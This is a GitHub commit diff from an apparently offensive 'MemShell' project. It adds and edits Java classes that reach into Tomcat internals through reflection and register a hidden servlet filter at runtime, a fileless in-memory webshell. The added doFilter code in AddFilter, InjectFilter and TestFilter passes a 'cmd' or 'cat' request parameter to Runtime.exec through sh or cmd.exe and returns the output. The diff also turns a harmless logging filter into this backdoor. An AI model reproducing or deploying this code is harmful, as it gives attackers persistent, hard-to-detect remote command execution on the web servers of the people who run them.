Skip to content

Commit 0d14e09

Browse files
committed
c
1 parent 9cc3954 commit 0d14e09

File tree

40 files changed

+1085
-221
lines changed

40 files changed

+1085
-221
lines changed

MemShell/MemShell.iml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99
<webroots>
1010
<root url="file://$MODULE_DIR$/web" relative="/" />
1111
</webroots>
12+
<sourceRoots />
1213
</configuration>
1314
</facet>
1415
</component>
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
package memshell.tomcat;
2+
3+
import org.apache.catalina.Context;
4+
import org.apache.catalina.core.ApplicationContext;
5+
import org.apache.catalina.core.ApplicationFilterConfig;
6+
import org.apache.catalina.core.StandardContext;
7+
// tomcat 8/9
8+
import org.apache.tomcat.util.descriptor.web.FilterMap;
9+
import org.apache.tomcat.util.descriptor.web.FilterDef;
10+
// tomcat 7
11+
//import org.apache.catalina.deploy.FilterDef;
12+
//import org.apache.catalina.deploy.FilterMap;
13+
14+
import javax.servlet.*;
15+
import javax.servlet.annotation.WebFilter;
16+
import javax.servlet.http.HttpServletRequest;
17+
import javax.servlet.http.HttpServletResponse;
18+
import java.io.IOException;
19+
import java.io.InputStream;
20+
import java.lang.reflect.Constructor;
21+
import java.lang.reflect.Field;
22+
import java.lang.reflect.InvocationTargetException;
23+
import java.util.Map;
24+
import java.util.Scanner;
25+
26+
@WebFilter("catfilter")
27+
public class AddFilter implements Filter{
28+
String name = "AteamFilter";
29+
String injectURL = "/ateam";
30+
String shellParameter = "cat";
31+
AddFilter() {
32+
33+
try {
34+
java.lang.Class applicationDispatcher = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher");
35+
java.lang.reflect.Field WRAP_SAME_OBJECT = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
36+
java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT.getClass().getDeclaredField("modifiers");
37+
modifiersField.setAccessible(true);
38+
modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
39+
WRAP_SAME_OBJECT.setAccessible(true);
40+
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
41+
WRAP_SAME_OBJECT.setBoolean(null, true);
42+
}
43+
44+
//初始化 lastServicedRequest
45+
java.lang.Class applicationFilterChain = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain");
46+
java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
47+
modifiersField = lastServicedRequest.getClass().getDeclaredField("modifiers");
48+
modifiersField.setAccessible(true);
49+
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
50+
lastServicedRequest.setAccessible(true);
51+
if (lastServicedRequest.get(null) == null) {
52+
lastServicedRequest.set(null, new ThreadLocal<>());
53+
}
54+
55+
//初始化 lastServicedResponse
56+
java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
57+
modifiersField = lastServicedResponse.getClass().getDeclaredField("modifiers");
58+
modifiersField.setAccessible(true);
59+
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
60+
lastServicedResponse.setAccessible(true);
61+
if (lastServicedResponse.get(null) == null) {
62+
lastServicedResponse.set(null, new ThreadLocal<>());
63+
}
64+
65+
66+
java.lang.reflect.Field lastServicedRequest2 = applicationFilterChain.getDeclaredField("lastServicedRequest");
67+
lastServicedRequest2.setAccessible(true);
68+
java.lang.ThreadLocal thredLocal = (java.lang.ThreadLocal) lastServicedRequest2.get(null);
69+
70+
71+
/*shell注入,前提需要能拿到request、response等*/
72+
if (thredLocal != null && thredLocal.get() != null) {
73+
javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) thredLocal.get();
74+
javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
75+
76+
77+
78+
Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性
79+
appctx.setAccessible(true);
80+
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext
81+
82+
Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性
83+
stdctx.setAccessible(true);
84+
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext
85+
86+
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); //获取属性
87+
Configs.setAccessible(true);
88+
Map filterConfigs = (Map) Configs.get(standardContext); // 从standardContext中获取filterConfigs属性,将filterConfig加入这个这个map即可
89+
// 以上反射获取的成员属性都是接口实例的
90+
91+
if (filterConfigs.get(name) == null) {
92+
AddFilter filter = new AddFilter("aaa");
93+
94+
FilterDef filterDef = new FilterDef(); // 组装filter各类信息和对象本身加载到标准的filterDef对象
95+
filterDef.setFilterName(name);
96+
filterDef.setFilterClass(filter.getClass().getName());
97+
filterDef.setFilter(filter);
98+
standardContext.addFilterDef(filterDef); // 将filterDef 添加到filterDefs中
99+
100+
FilterMap filterMap = new FilterMap();
101+
filterMap.addURLPattern(injectURL);
102+
filterMap.setFilterName(name);
103+
filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 关键点就在于tomcat>=7以上才有这个
104+
standardContext.addFilterMapBefore(filterMap); // 组装filterMap 添加到filterMaps中
105+
106+
//在方法名中加Declared的是返回所有的构造方法,不加Declared的只返回public访问权限的构造器
107+
//反射机制中,所有添加Declared的获取方式都是暴力获取所有构造(或方法,或字段),通过暴力获取的字段我们在进行访问的时候需要进行可访问性设置,即获取的反射对象.setAccessible(true);否则只是获取而无法操作
108+
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
109+
constructor.setAccessible(true);
110+
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
111+
112+
filterConfigs.put(name, filterConfig); //在filterConfigs中添加定义好的filterConfig
113+
114+
}
115+
;
116+
117+
}
118+
} catch (NoSuchMethodException | InstantiationException | InvocationTargetException | NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
119+
e.printStackTrace();
120+
}
121+
}
122+
123+
public AddFilter(String aaa) {
124+
}
125+
126+
@Override
127+
public void init(FilterConfig filterConfig) throws ServletException {
128+
129+
}
130+
131+
@Override
132+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
133+
HttpServletRequest req = (HttpServletRequest) servletRequest;
134+
HttpServletResponse resp = (HttpServletResponse) servletResponse;
135+
if (req.getParameter(this.shellParameter) != null) {
136+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
137+
InputStream in = Runtime.getRuntime().exec(req.getParameter(this.shellParameter)).getInputStream();
138+
Scanner s = new Scanner(in,charsetName).useDelimiter("\\A");
139+
String output = s.hasNext() ? s.next() : "";
140+
// servletResponse.getWriter().write(output);
141+
142+
resp.getWriter().write(output);
143+
144+
}
145+
filterChain.doFilter(servletRequest, servletResponse);
146+
}
147+
148+
@Override
149+
public void destroy() {
150+
151+
}
152+
}

MemShell/src/memshell/tomcat/InjectFilter.java

Lines changed: 33 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -9,17 +9,16 @@
99
import org.apache.tomcat.util.descriptor.web.FilterMap;
1010

1111
import javax.servlet.*;
12-
import javax.servlet.annotation.WebFilter;
1312
import javax.servlet.annotation.WebServlet;
1413
import javax.servlet.http.HttpServlet;
1514
import javax.servlet.http.HttpServletRequest;
1615
import javax.servlet.http.HttpServletResponse;
1716
import java.io.IOException;
1817
import java.io.InputStream;
18+
import java.util.Scanner;
1919
import java.lang.reflect.Constructor;
2020
import java.lang.reflect.Field;
2121
import java.util.Map;
22-
import java.util.Scanner;
2322

2423
/**
2524
* @ClassName: InjectFilter
@@ -31,8 +30,8 @@
3130
**/
3231
//@WebFilter(filterName = "injectFilter", urlPatterns = "/*")
3332
@WebServlet("/injectFilter")
34-
public class InjectFilter extends HttpServlet {
35-
//public class InjectFilter extends HttpServlet implements Filter {
33+
//public class InjectFilter extends HttpServlet {
34+
public class InjectFilter extends HttpServlet implements Filter {
3635

3736
@Override
3837
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
@@ -118,6 +117,8 @@ public void destroy() {
118117
} catch (Exception e) {
119118
e.printStackTrace();
120119
}
120+
// this.doFilter(request,response);
121+
121122

122123

123124
}
@@ -133,33 +134,33 @@ public void destroy() {
133134
}
134135

135136

136-
// @Override
137-
// public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
138-
// HttpServletRequest req = (HttpServletRequest) request;
139-
// HttpServletResponse resp = (HttpServletResponse) response;
140-
// if (req.getParameter("cmd") != null) {
141-
// boolean isLinux = true;
142-
// String osTyp = System.getProperty("os.name");
143-
// if (osTyp != null && osTyp.toLowerCase().contains("win")) {
144-
// isLinux = false;
145-
// }
146-
// String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
147-
// String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
148-
// InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
149-
// Scanner s = new Scanner(in,charsetName).useDelimiter("\\A");
150-
// String output = s.hasNext() ? s.next() : "";
151-
// resp.getWriter().write(output);
152-
// resp.getWriter().flush();
153-
// }
154-
// chain.doFilter(request, response);
155-
// }
156-
//
157-
158-
159-
160-
// @Override
161-
// public void init(FilterConfig filterConfig) throws ServletException {
162-
//
163-
// }
137+
@Override
138+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
139+
HttpServletRequest req = (HttpServletRequest) request;
140+
HttpServletResponse resp = (HttpServletResponse) response;
141+
if (req.getParameter("cmd") != null) {
142+
boolean isLinux = true;
143+
String osTyp = System.getProperty("os.name");
144+
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
145+
isLinux = false;
146+
}
147+
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
148+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
149+
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
150+
Scanner s = new Scanner(in,charsetName).useDelimiter("\\A");
151+
String output = s.hasNext() ? s.next() : "";
152+
resp.getWriter().write(output);
153+
resp.getWriter().flush();
154+
}
155+
chain.doFilter(request, response);
156+
}
157+
158+
159+
160+
161+
@Override
162+
public void init(FilterConfig filterConfig) throws ServletException {
163+
164+
}
164165

165166
}

MemShell/src/memshell/tomcat/TestFilter.java

Lines changed: 88 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -8,24 +8,105 @@
88
* @Version: v1.0.0
99
* @Description:
1010
**/
11+
import org.apache.catalina.Context;
12+
import org.apache.catalina.core.ApplicationContext;
13+
import org.apache.catalina.core.ApplicationFilterConfig;
14+
import org.apache.catalina.core.StandardContext;
15+
import org.apache.tomcat.util.descriptor.web.FilterDef;
16+
import org.apache.tomcat.util.descriptor.web.FilterMap;
17+
1118
import javax.servlet.*;
19+
import javax.servlet.http.HttpServlet;
20+
import javax.servlet.http.HttpServletRequest;
21+
import javax.servlet.http.HttpServletResponse;
1222
import java.io.IOException;
23+
import java.io.InputStream;
24+
import java.lang.reflect.Constructor;
25+
import java.lang.reflect.Field;
26+
import java.lang.reflect.InvocationTargetException;
27+
import java.util.Map;
28+
import java.util.Scanner;
29+
30+
public class TestFilter extends HttpServlet implements Filter {
1331

14-
public class TestFilter implements Filter {
1532

1633
@Override
1734
public void init(FilterConfig filterConfig) throws ServletException {
18-
System.out.println("Filter init is ok!");
35+
Filter.super.init(filterConfig);
36+
}
1937

38+
@Override
39+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
40+
HttpServletRequest req = (HttpServletRequest) request;
41+
HttpServletResponse resp = (HttpServletResponse) response;
42+
if (req.getParameter("cmd") != null) {
43+
boolean isLinux = true;
44+
String osTyp = System.getProperty("os.name");
45+
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
46+
isLinux = false;
47+
}
48+
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
49+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
50+
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
51+
Scanner s = new Scanner(in,charsetName).useDelimiter("\\A");
52+
String output = s.hasNext() ? s.next() : "";
53+
resp.getWriter().write(output);
54+
resp.getWriter().flush();
55+
}
56+
chain.doFilter(request, response);
2057
}
2158

2259
@Override
23-
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
24-
System.out.println("do Filter is ok!");
25-
filterChain.doFilter(servletRequest,servletResponse);
26-
System.out.println("do Filter after");
60+
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
61+
// super.doGet(req, resp);
62+
this.doPost(req, resp);
2763
}
2864

2965
@Override
30-
public void destroy() {}
66+
protected void doPost(HttpServletRequest request, HttpServletResponse resp) throws ServletException, IOException {
67+
68+
Field Configs = null;
69+
Map filterConfigs;
70+
try {
71+
//这里是反射获取ApplicationContext的context,也就是standardContext
72+
ServletContext servletContext = request.getSession().getServletContext();
73+
Field appctx = servletContext.getClass().getDeclaredField("context");
74+
appctx.setAccessible(true);
75+
// 获取ApplicationContext对象
76+
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
77+
Field stdctx = applicationContext.getClass().getDeclaredField("context");
78+
stdctx.setAccessible(true);
79+
// 获取StandardContext对象
80+
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
81+
// filter 名字
82+
String FilterName = "InjectFilter";
83+
// 获取StandardContext类中的字段filterConfigs
84+
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
85+
Configs.setAccessible(true);
86+
87+
filterConfigs = (Map) Configs.get(standardContext);
88+
// 判断filterConfigs map中是否含有恶意filter,如果没有注册,如果有则跳过
89+
90+
Filter filter = new Filter() {
91+
@Override
92+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
93+
94+
}
95+
96+
@Override
97+
public void init(FilterConfig filterConfig) throws ServletException {
98+
Filter.super.init(filterConfig);
99+
}
100+
101+
@Override
102+
public void destroy() {
103+
Filter.super.destroy();
104+
}
105+
};
106+
}catch (Exception e){
107+
108+
}
109+
}
110+
111+
31112
}

0 commit comments

Comments
 (0)